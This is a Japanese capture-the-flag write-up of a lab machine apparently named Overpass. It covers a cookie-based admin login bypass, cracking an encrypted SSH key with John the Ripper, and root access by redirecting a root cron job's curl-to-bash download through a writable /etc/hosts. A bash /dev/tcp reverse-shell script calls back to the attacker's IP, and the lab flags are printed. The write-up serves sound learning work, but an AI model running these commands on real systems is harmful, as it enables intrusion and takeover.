はじめに
備忘録です。
Hack the machine and get the flag in user.txt
nmap実行。
nmap 10.10.244.151
Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-13 05:45 BST
Nmap scan report for ip-10-10-244-151.eu-west-1.compute.internal (10.10.244.151)
Host is up (0.00067s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:43:7F:9F:4F:89 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
httpがオープンしているのでブラウザで確認。
aboutusページとdownloadページがある。
ページのソースコードを見ていると、以下のようなコメント発見した。
Yeah right, just because the Romans used it doesn't make it military grade, change this?
ほかに有用そうな情報はなかった。
gobusterで隠しページを調べてみる。
$ gobuster dir -u http://10.10.244.151 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.244.151
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/07/13 05:57:13 Starting gobuster
===============================================================
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
===============================================================
2024/07/13 05:57:14 Finished
===============================================================
Adminページがあった。
こちらもソースコードを見ているとlogin.jsが気になった。
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
CookiesにNameはSessionToken、ValueはstatusOrCookieをセットして
ページをリロード。
Adminページにログインできた!
何か書いてある。
Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox
この後sshで使うユーザー名はJamesだね。
パスワードを忘れたら自分でクラックしろとのこと。
下にAES128が書いてある。
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZ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yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
james.keyというファイルを作成してこの秘密鍵をコピペ。
この秘密鍵を使ってssh接続してみる。
ssh -i james.key james@10.10.244.151
The authenticity of host '10.10.244.151 (10.10.244.151)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.244.151' (ECDSA) to the list of known hosts.
Enter passphrase for key 'james.key':
パスワードが必要だそう。
この秘密鍵をクラックしてパスワードを抜き出す必要がある。
Johntheripperでクラックするために、ssh2johnで秘密鍵をjohn形式に変換する。
ssh2johnをダウンロード。
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
key.txtにjohn形式の秘密鍵を書き込む。
$ python ssh2john.py james.key > key.txt
key.txtにjohn形式の鍵が保存されたのでこれを使ってクラック。
パスワードリストはrockyou.txtを使用。
$ john --wordlist=/usr/share/wordlists/rockyou.txt key.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (james.key)
1g 0:00:00:12 DONE (2024-07-13 09:56) 0.07782g/s 1116Kp/s 1116Kc/s 1116KC/s *7¡Vamos!
Session completed.
james13 がパスワードということが分かった。
sshで接続してみる。
$ ssh -i james.key james@10.10.244.151
Enter passphrase for key 'james.key':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jul 13 09:04:01 UTC 2024
System load: 0.0 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 15% IP address for eth0: 10.10.244.151
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ ls
todo.txt user.txt
james@overpass-prod:~$ cat *
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
thm{65c1aaf000506e56996822c6281e6bf7}
長かった。。。
thm{65c1aaf000506e56996822c6281e6bf7}
Escalate your privileges and get the flag in root.txt
次は権限昇格を目指す。
さっきちらっと見たけどtodo.txtに何か書いてあった。
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
Overpassに自分たちのパスワードも保存しているらしい。
また、Overpassの暗号はあまり強くないとも書いてある。
あと、自動でビルドスクリプトが動いているらしい。
cronとかで起動してる?
$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
buildscript.shを実行している。
リバースシェルかなとあたりを付けた。
$ ls -l
...
-rw-rw-rw- 1 root root 250 Jun 27 2020 hosts
...
hostsに書き込み権限はある。
overpass.thmを攻撃元のIPに変更する。
$ nano hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
10.10.144.147 overpass.thm <---書き換え
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
あとは攻撃元で待ち受けるだけ。
攻撃元マシンでbuildscript.shを準備。
#!/bin/bash
bash -i >& /dev/tcp/10.10.144.147/5555 0>$1
httpサーバーを起動。
python -m http.server 80
5555ポートで待ち受ける。
$ nc -lvnp 5555
リバースシェルが実行されて、rootには入れた。
$ whoami
root
探索したら、root.txtがあった。
thm{7f336f8c359dbac18d54fdd64ea753bb}